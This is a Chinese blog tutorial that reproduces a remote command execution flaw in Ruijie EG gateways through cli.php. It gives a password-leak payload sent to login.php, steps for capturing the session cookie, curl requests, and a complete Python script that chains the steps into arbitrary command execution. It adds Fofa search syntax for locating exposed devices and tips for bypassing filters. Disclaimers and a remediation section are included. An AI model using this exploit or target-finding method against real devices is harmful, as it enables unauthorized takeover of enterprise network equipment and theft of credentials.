锐捷EG易网关cli.php远程命令执行漏洞复现与Python脚本实战

📅 2026/6/19 9:04:32
锐捷EG易网关cli.php远程命令执行漏洞复现与Python脚本实战
1. 项目概述从漏洞公告到实战复现最近在整理一些网络设备的历史漏洞时锐捷EG易网关的cli.php远程命令执行漏洞CVE编号未公开但影响广泛引起了我的注意。这并非一个复杂的新型漏洞但其利用链完整涉及从信息泄露到权限提升再到命令执行的全过程非常适合作为安全研究和新手学习的典型案例。很多朋友在复现此类漏洞时常常卡在环境搭建、请求构造或结果解析等环节网上零散的POC脚本也可能因为环境差异而“失灵”。今天我就结合自己多次复现的经验手把手带你走通整个流程并附上一个经过实战检验、增加了容错和调试功能的Python脚本同时分享几个关键环节的避坑指南。无论你是刚入门的安全爱好者还是想巩固Web漏洞复现技能的从业者这篇内容都能让你获得可直接上手操作的干货。简单来说这个漏洞的核心在于锐捷EG易网关一种企业级网关设备的管理后台存在一个名为cli.php的文件其shellAction方法未能对用户输入的command参数进行有效过滤直接拼接至exec()函数中执行导致了远程命令执行。更“有趣”的是该设备常伴随一个管理员密码泄露漏洞两者结合攻击者可以在未授权或弱口令的情况下先获取管理员凭证再登录后台执行任意系统命令完全控制设备。下面我们就从环境准备开始一步步拆解。2. 漏洞原理深度剖析与影响范围2.1 漏洞成因脆弱的命令拼接根据公开的漏洞详情和代码片段问题根源于/cli.php文件。当我们访问/cli.php?ashell时会路由到shellAction方法。关键代码如下摘自公开资料public function shellAction() { $command p(command); // 获取用户输入的command参数 if ($command false) { $data[status] 2; $data[msg] no command; json_echo($data); exit(); } $content []; exec(EscapeShellCmd($command), $content); // 执行命令 $data array(status true, data $content); json_echo($data); }这里有一个关键的“烟雾弹”开发者使用了EscapeShellCmd()函数。这个函数在PHP中本意是转义shell命令中的元字符防止命令注入。但是它的使用方式完全错误了。EscapeShellCmd()应该用于转义整个命令字符串防止其被拆分成多个命令。然而这里的逻辑是获取用户输入的command然后将其作为参数传递给exec()。如果command本身就是一个完整的命令如id或cat /etc/passwd那么EscapeShellCmd()会对整个命令字符串进行转义导致命令无法正常执行吗并非如此。实际上在典型的利用中我们发送的POST数据是notdelaytruecommandid。EscapeShellCmd(id)的返回值仍然是id因为id本身不包含需要转义的shell元字符如;,,|,等。漏洞的真正关键在于攻击者可以注入带有参数的命令。例如如果构造commandid;whoami分号;会被EscapeShellCmd()转义吗在PHP的Windows实现中EscapeShellCmd()会转义;但在类Unix系统如Linux这正是大多数网关设备的系统上默认的escapeshellcmd()函数不会转义分号、管道符等用于命令连接的字符它主要转义的是可能对shell有特殊意义的字符但在单个命令参数的上下文中分号并不总是被转义。更严重的是如果后端代码的过滤逻辑存在缺陷或者对EscapeShellCmd()的返回值处理不当就可能造成绕过。从实际复现和POC来看直接发送commandcat /etc/passwd是能够成功执行的。这说明要么是EscapeShellCmd()函数在该环境下未生效或存在绕过要么是开发者在某处错误地“净化”了输入。一种常见的错误是开发者可能认为使用了此函数就万事大吉却忽略了用户输入可能本身就是一条完整的、合法的系统命令。这给了我们一个重要的教训单纯依赖某一个安全函数是远远不够的必须结合严格的输入白名单验证和最小权限原则。2.2 影响范围与设备识别该漏洞影响的是锐捷EG易网关系列设备。具体受影响版本需根据官方补丁公告确认但根据网络空间测绘数据暴露在互联网上的相关设备数量可观。如何识别潜在目标特征识别在网页标题、HTTP响应头、登录页面Logo或源码中常包含“Ruijie”、“EG”等字样。路径探测尝试访问/cli.php路径。如果存在可能会返回特定的错误信息或空白页。网络空间测绘使用ZoomEye、Shodan、Fofa等引擎搜索特定指纹。例如在Fofa中可以使用搜索语法appRuijie-EG易网关。这是最直接有效的方式可以快速定位全球范围内在线的潜在目标。重要声明与合规性提醒所有漏洞复现学习必须在自己完全可控的合法环境中进行例如自己搭建的虚拟机或docker镜像模拟的漏洞环境。获得明确书面授权的渗透测试靶场如PentesterLab、Vulnhub上的相关镜像或企业内部的测试环境。专门用于安全研究的实验网络。绝对禁止对任何未经授权的真实网络设备进行扫描、探测或攻击测试这不仅是违法行为也严重违背安全从业者的职业道德。本文所有技术讨论仅限用于授权环境下的安全研究、教学和防御方案验证。3. 复现环境搭建与工具准备“工欲善其事必先利其器”。一个稳定、隔离的复现环境是成功的第一步。3.1 漏洞环境获取与部署由于涉及真实厂商设备固件我们无法直接分发。但有以下几种合法途径获取复现环境使用历史固件模拟推荐给进阶研究者在一些合法的漏洞研究社区或资源站可能会找到基于历史版本固件制作的Docker镜像或虚拟机镜像。你需要自行搜索Ruijie EG simulator或类似关键词并确保其来源合法、仅用于学习。搭建简化漏洞模型最佳学习方式为了彻底理解漏洞原理我强烈建议你自己用PHP编写一个简单的、包含漏洞代码的Web应用。这不仅能让你复现更能让你动态调试理解每一行代码的执行过程。例如创建一个包含以下代码的cli.php文件?php // 模拟有缺陷的shellAction if ($_GET[a] shell) { $command $_POST[command] ?? ; // 模拟有问题的过滤 // $command escapeshellcmd($command); // 尝试注释或取消注释这行观察区别 $output []; exec($command, $output); echo json_encode([status true, data $output]); } // 模拟登录接口简化版 if ($_SERVER[REQUEST_URI] /login.php $_SERVER[REQUEST_METHOD] POST) { // 模拟密码泄露漏洞无论密码是什么都返回一个固定的密码哈希或Cookie setcookie(RUIJIEID, 模拟的Cookie值, time()3600); echo json_encode([status 1]); } ?将这个文件放在你的PHP开发环境如XAMPP、PHPStudy或Docker PHP中运行。这样你就拥有了一个完全可控、无法律风险的“靶机”。3.2 必备工具清单无论你选择哪种环境以下工具都是必需的Python 3.6我们的自动化脚本将基于Python编写。确保已安装requests库如果没有使用pip install requests安装。Burp Suite / OWASP ZAP用于拦截、查看和重放HTTP请求是分析请求结构、修改参数的利器。浏览器及开发者工具现代浏览器Chrome/Firefox的F12开发者工具用于观察网络请求、Cookie管理。文本编辑器/IDE如VS Code、PyCharm或Sublime Text用于编写和修改脚本。网络调试工具curl命令终端用于快速发送请求测试。环境检查清单[ ] Python环境变量配置正确终端可执行python --version。[ ]requests库安装成功。[ ] Burp Suite代理设置正确浏览器流量能通过它。[ ] 你的测试Web服务无论是模拟环境还是合法靶机已启动并可以访问。4. 手动复现步骤详解从登录到RCE理解了原理备好了环境我们开始手动操作。手动复现能让你对每一个环节有肌肉记忆般的理解。4.1 第一步利用信息泄露获取管理员密码根据公开的漏洞信息锐捷EG易网关存在一个管理员账号密码泄露漏洞。通常的利用方式是向/login.php发送一个特殊的POST请求。构造请求URL:http://靶机IP/login.php方法: POSTHeaders:Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (自定义)Body:usernameadminpasswordadmin?showwebmasteruser注意password参数的值它并不是一个真正的密码而是一个包含特殊指令?show webmaster user的字符串。这很可能是一个后门接口或调试接口遗留在生产代码中通过特定的参数触发直接返回管理员密码哈希或明文。发送请求并分析响应 使用Burp Suite的Repeater模块或curl命令发送上述请求。curl -X POST http://192.168.1.100/login.php -d usernameadminpasswordadmin?showwebmasteruser -H Content-Type: application/x-www-form-urlencoded观察返回的响应。成功的响应通常是一个JSON结构其中data字段里包含了管理员密码可能是明文也可能是哈希值。你需要从中提取出这个密码。例如响应可能类似于{status:1, data:admin 123456}那么密码就是123456。4.2 第二步使用获取的密码登录系统拿到密码后我们需要进行一次正式的登录以获取有效的会话Cookie通常是RUIJIEID。构造登录请求URL:http://靶机IP/login.php方法: POSTHeaders: 同上一步。Body:usernameadminpassword上一步获取的密码提取关键Cookie 发送请求后重点查看响应头中的Set-Cookie字段。你会看到一个名为RUIJIEID的Cookie被设置。完整地记录下这个Cookie的值。通常后续的授权请求都需要在请求头中携带这个Cookie。响应体可能也会返回一个JSON如{status:1}表示登录成功。4.3 第三步发起命令执行攻击现在我们有了合法的会话Cookie可以访问需要认证的cli.php接口了。构造命令执行请求URL:http://靶机IP/cli.php?ashell方法: POSTHeaders:Content-Type: application/x-www-form-urlencoded Cookie: RUIJIEID刚才获取的Cookie值; useradmin X-Requested-With: XMLHttpRequest (有时需要模拟Ajax请求)Body:notdelaytruecommand你要执行的系统命令例如执行id命令查看当前用户notdelaytruecommandid执行cat /etc/passwd查看系统用户notdelaytruecommandcat /etc/passwd解析执行结果 命令执行的结果会以JSON格式返回。data字段是一个数组包含了命令输出按行分割后的内容。你需要解析这个JSON来查看命令执行是否成功以及具体的输出。如果status为true且data数组有内容说明命令执行成功。手动复现的核心要点顺序性这三步必须依次进行后一步依赖前一步的产出密码依赖泄露漏洞Cookie依赖成功登录。请求格式特别是Content-Type和Cookie头必须严格按照上述格式设置一个字符的错误都可能导致失败。结果验证每一步都要仔细验证响应确保拿到了预期的数据密码、Cookie、命令结果再进入下一步。5. 自动化Python脚本编写与增强手动复现成功只是第一步。在实际的安全评估或批量验证中我们需要自动化脚本。下面我将提供一个比网上常见POC更健壮、功能更完整的脚本并逐段讲解。5.1 脚本核心模块拆解我们的脚本将包含三个主要函数对应手动复现的三个步骤并增加错误处理和结果解析。#!/usr/bin/env python3 # -*- coding: utf-8 -*- 锐捷EG易网关 cli.php 远程命令执行漏洞自动化利用脚本 Author: [你的名字] 说明仅用于授权环境下的安全测试与学习。 import requests import re import sys import json import argparse from urllib.parse import urljoin # 禁用SSL警告仅用于测试环境生产环境应验证证书 requests.packages.urllib3.disable_warnings() def exploit_password_leak(target_url): 步骤1利用密码泄露漏洞获取管理员密码 leak_url urljoin(target_url, /login.php) headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Content-Type: application/x-www-form-urlencoded } # 关键payload data usernameadminpasswordadmin?showwebmasteruser print(f[*] 尝试从 {leak_url} 获取管理员密码...) try: resp requests.post(leak_url, datadata, headersheaders, verifyFalse, timeout15) resp.raise_for_status() # 检查HTTP错误 except requests.exceptions.RequestException as e: print(f[-] 密码泄露漏洞利用失败网络请求错误 - {e}) return None # 更健壮的密码提取逻辑 password None # 尝试多种可能的响应格式 if data in resp.text: # 格式1: {data: admin password123} match re.search(radmin\s(\S), resp.text) if match: password match.group(1) # 格式2: {data: {password: xxx}} (假设) else: try: json_data resp.json() # 根据实际响应结构调整路径这里是一个示例 if isinstance(json_data.get(data), dict): password json_data[data].get(password) elif isinstance(json_data.get(data), str): # 再次尝试从字符串中提取 match re.search(rpassword[:\s](\S), json_data[data], re.IGNORECASE) if match: password match.group(1) except json.JSONDecodeError: pass if password: print(f[] 成功获取管理员密码: {password}) return password else: print(f[-] 未能从响应中提取密码。原始响应:\n{resp.text[:500]}) # 打印前500字符用于调试 return None def login_and_get_cookie(target_url, password): 步骤2使用密码登录获取有效会话Cookie login_url urljoin(target_url, /login.php) headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Content-Type: application/x-www-form-urlencoded } data fusernameadminpassword{password} print(f[*] 尝试使用密码登录 {login_url} ...) try: resp requests.post(login_url, datadata, headersheaders, verifyFalse, timeout15, allow_redirectsFalse) resp.raise_for_status() except requests.exceptions.RequestException as e: print(f[-] 登录失败网络请求错误 - {e}) return None # 提取Cookie的多种方式 cookie_value None # 1. 从响应头Set-Cookie中提取 if Set-Cookie in resp.headers: set_cookie_header resp.headers[Set-Cookie] # 匹配 RUIJIEIDxxxxx; match re.search(rRUIJIEID([^;]), set_cookie_header) if match: cookie_value match.group(1) # 2. 如果响应头没有检查响应体是否包含Cookie信息某些实现可能不同 if not cookie_value and RUIJIEID in resp.text: match re.search(rRUIJIEID([^;]), resp.text) if match: cookie_value match.group(1) if cookie_value: # 构造完整的Cookie字符串格式很重要 full_cookie fRUIJIEID{cookie_value}; useradmin print(f[] 登录成功获取到Cookie: {full_cookie}) return full_cookie else: print(f[-] 登录响应中未找到有效的Cookie。状态码: {resp.status_code}) # 打印响应头用于调试 print(响应头:, dict(resp.headers)) return None def execute_command(target_url, cookie, command): 步骤3利用cli.php执行任意命令 rce_url urljoin(target_url, /cli.php?ashell) headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Content-Type: application/x-www-form-urlencoded, Cookie: cookie, X-Requested-With: XMLHttpRequest # 模拟Ajax请求有时必要 } data fnotdelaytruecommand{command} print(f[*] 尝试在 {rce_url} 执行命令: {command}) try: resp requests.post(rce_url, datadata, headersheaders, verifyFalse, timeout15) resp.raise_for_status() except requests.exceptions.RequestException as e: print(f[-] 命令执行请求失败{e}) return None # 解析命令执行结果 try: result_json resp.json() if result_json.get(status) is True: # 命令输出在data字段是一个列表按行分割 output_lines result_json.get(data, []) if output_lines: print([] 命令执行成功输出如下) for line in output_lines: print(f {line}) else: print([] 命令执行成功但无输出。) return output_lines else: print(f[-] 命令执行返回失败状态。响应: {resp.text[:200]}) return None except json.JSONDecodeError: print(f[-] 响应不是有效的JSON。原始响应:\n{resp.text[:500]}) return None def main(): parser argparse.ArgumentParser(description锐捷EG易网关 cli.php RCE漏洞利用脚本) parser.add_argument(-u, --url, requiredTrue, help目标URL (例如: http://192.168.1.100)) parser.add_argument(-c, --command, defaultid, help要执行的系统命令 (默认: id)) args parser.parse_args() target_url args.url.rstrip(/) # 去除末尾斜杠 command_to_exec args.command print(f[*] 目标: {target_url}) print(f[*] 命令: {command_to_exec}) print(- * 50) # 1. 获取密码 password exploit_password_leak(target_url) if not password: print([-] 漏洞利用流程终止于密码获取阶段。) sys.exit(1) # 2. 登录获取Cookie cookie login_and_get_cookie(target_url, password) if not cookie: print([-] 漏洞利用流程终止于登录阶段。) sys.exit(1) # 3. 执行命令 execute_command(target_url, cookie, command_to_exec) if __name__ __main__: main()5.2 脚本增强点与避坑指南对比网上常见的POC这个脚本做了以下关键增强更健壮的密码提取逻辑原始POC使用固定的正则表达式radmin (.*?)这在响应格式稍有变化时就会失败。增强版脚本尝试了多种匹配模式字符串匹配、JSON解析、关键字搜索并提供了详细的错误输出方便调试。Cookie处理的鲁棒性不仅从Set-Cookie头提取还检查了响应体。构造的Cookie字符串严格遵循观察到的格式RUIJIEIDxxx; useradmin。全面的错误处理对网络请求超时、HTTP错误、JSON解析失败等情况都进行了捕获和友好提示避免脚本因一个环节出错而崩溃且不知原因。支持命令行参数使用argparse库可以通过-u指定目标URL-c指定要执行的命令灵活性更高。结果清晰输出将命令执行结果按行格式化输出更易读。超时设置每个请求都设置了15秒超时防止因网络或目标无响应导致脚本长时间挂起。使用方式# 基本用法执行默认的id命令 python3 ruijie_eg_rce.py -u http://192.168.1.100 # 执行自定义命令 python3 ruijie_eg_rce.py -u http://192.168.1.100 -c cat /etc/passwd # 执行多条命令注意命令分隔符在类Unix系统是;或 python3 ruijie_eg_rce.py -u http://192.168.1.100 -c id; whoami; pwd6. 实战复现中的常见问题与排查技巧即使有了详细的步骤和脚本在实际操作中你仍可能遇到各种问题。下面是我在多次复现中总结的“避坑指南”。6.1 问题一密码泄露漏洞利用失败现象第一步发送特殊密码请求后返回的不是包含密码的JSON而是登录页面、错误页面或空白页。可能原因与排查目标设备版本不受影响并非所有EG易网关版本都存在此特定信息泄露漏洞。确认你的目标版本在受影响范围内。请求路径或参数错误确认URL是否为/login.php注意有些设备路径可能不同。尝试使用Burp Suite拦截一次正常的登录请求观察其准确的路径和参数格式。Payload格式问题确保POST Body是application/x-www-form-urlencoded格式并且参数值admin?showwebmasteruser中的空格是用号编码的。也可以尝试用%20空格URL编码代替。需要先决条件某些漏洞可能需要特定的前置条件比如需要先访问某个页面初始化会话。尝试在发送漏洞利用请求前先访问一下目标首页。调试技巧开启Burp Suite的代理用浏览器正常访问一次目标观察所有请求流程。使用curl -v命令发送请求查看详细的请求和响应头信息。修改脚本打印出第一步的完整响应包括状态码、头部、正文仔细分析。6.2 问题二登录成功但无法获取有效Cookie现象使用获取到的密码进行登录返回状态码200甚至{status:1}但响应头中没有Set-Cookie或者Cookie值无效。可能原因与排查Cookie名称或格式不同不同版本的设备可能使用不同的Cookie名称不一定是RUIJIEID。检查响应头中是否有其他看起来像会话标识的Cookie如SESSIONID,PHPSESSID等。同时检查Cookie的格式可能需要包含path或domain属性。会话管理机制不同有些设备可能使用Token而非Cookie进行认证Token可能放在响应体的JSON中。仔细检查登录成功的响应正文。密码错误或已过期获取到的密码可能不是明文而是哈希或者密码已失效。尝试用获取到的密码手动在网页登录界面登录验证其有效性。调试技巧在Burp Suite中对比手动通过浏览器登录成功时的请求和你的脚本请求确保Headers、Body完全一致。检查脚本中登录请求的allow_redirects参数。有些登录成功后会重定向需要设置为False来获取最初的响应和Cookie。6.3 问题三命令执行请求返回错误或无效结果现象携带Cookie向/cli.php?ashell发送命令执行请求返回状态码403、404、500或者返回的JSON中status为false。可能原因与排查路径或参数错误确认漏洞路径是/cli.php并且action参数是ashell。有些变体可能是/controller/cli.php或参数名不同。Cookie无效或过期会话可能已超时。尝试重新执行整个流程并确保从登录到执行命令的间隔不要太长。缺少必要的请求头除了CookieX-Requested-With: XMLHttpRequest头有时是必需的用于标识这是一个Ajax请求。我们的脚本已经添加。命令被过滤或转义虽然漏洞存在但设备可能部署了WAF或进行了简单的输入检查。尝试执行一些无害的命令如echo test或pwd。如果简单命令可以复杂命令如包含/,$,等字符不行则可能存在过滤。尝试使用编码、拼接等绕过技术注意在授权测试范围内。命令执行无回显exec()函数执行成功但可能没有输出。尝试使用有回显的命令如id、whoami、uname -a。调试技巧在Burp Suite中手动重放命令执行请求逐步修改参数和头部观察响应变化。尝试执行commandecho%20hello%20worldecho hello world的URL编码看是否能返回包含“hello world”的响应。查看服务器返回的错误信息如果开启了调试这能提供重要线索。6.4 问题四Python脚本运行报错依赖、编码等现象运行脚本时出现ModuleNotFoundError: No module named requests或编码错误。解决方案缺少requests库在终端执行pip install requests安装。如果使用Python虚拟环境请确保在正确的环境中安装。SSL证书验证警告脚本中已使用verifyFalse禁用验证但如果你在严格的环境下需要验证请确保有正确的证书路径或忽略警告。中文编码问题确保脚本文件保存为UTF-8编码并在文件头声明# -*- coding: utf-8 -*-。如果命令输出包含非UTF-8字符可能需要根据目标系统编码如GBK进行解码脚本中使用了服务器返回的JSON通常编码问题已由requests库处理。通用排查思路当遇到问题时遵循“由简到繁、对比验证”的原则。先用最简单的命令如id测试核心漏洞是否通。用Burp Suite等工具手动复现每一步确保请求的每一个字节都与成功案例一致。最后将成功的手动请求参数逐项移植到脚本中。记住自动化脚本的本质是模拟人的操作所以人的操作必须先跑通。7. 漏洞修复与安全加固建议作为负责任的分享在讲解漏洞利用后我们必须探讨如何防御。如果你是设备管理员或开发者请关注以下加固措施官方补丁升级这是最根本、最有效的解决方法。立即联系锐捷官方或关注其安全公告获取受影响设备型号的最新固件版本并进行升级。漏洞的根源在于代码缺陷只有官方补丁才能彻底修复。临时缓解措施如果无法立即升级考虑以下临时方案访问控制在防火墙或网关设备本身严格限制管理界面通常是80/443端口的访问来源只允许可信的管理IP地址段访问。删除或重命名漏洞文件如果业务不依赖cli.php文件可以尝试在设备上查找并删除或重命名/cli.php文件。操作前务必确认该文件的功能并做好备份。Web应用防火墙WAF在设备前端部署WAF设置规则拦截对/cli.php路径的异常访问特别是包含command等敏感参数的POST请求。安全开发规范对开发者的启示输入验证与过滤对所有用户输入进行严格的白名单验证。对于命令执行功能应只允许执行预定义的、安全的命令列表而不是传递任意字符串。避免使用危险函数尽可能避免使用exec()、system()、passthru()、shell_exec()等可以直接执行系统命令的函数。如果必须使用应严格限制参数。使用安全的API使用语言提供的、更安全的进程控制库如Python的subprocess模块并正确使用参数列表args而非字符串shellTrue。最小权限原则运行Web服务的进程应使用低权限用户避免使用root或管理员权限以限制漏洞被利用后造成的破坏。代码审计与安全测试定期对代码进行安全审计并对Web应用进行渗透测试及早发现此类命令注入、路径遍历、文件包含等常见漏洞。复现漏洞的意义不仅在于“攻破”更在于理解其成因从而在防御端筑起更坚固的城墙。希望这篇超详细的指南能让你不仅成功复现了锐捷EG易网关的这个漏洞更掌握了独立分析、调试和编写利用脚本的能力。安全之路始于足下贵在实践与思考。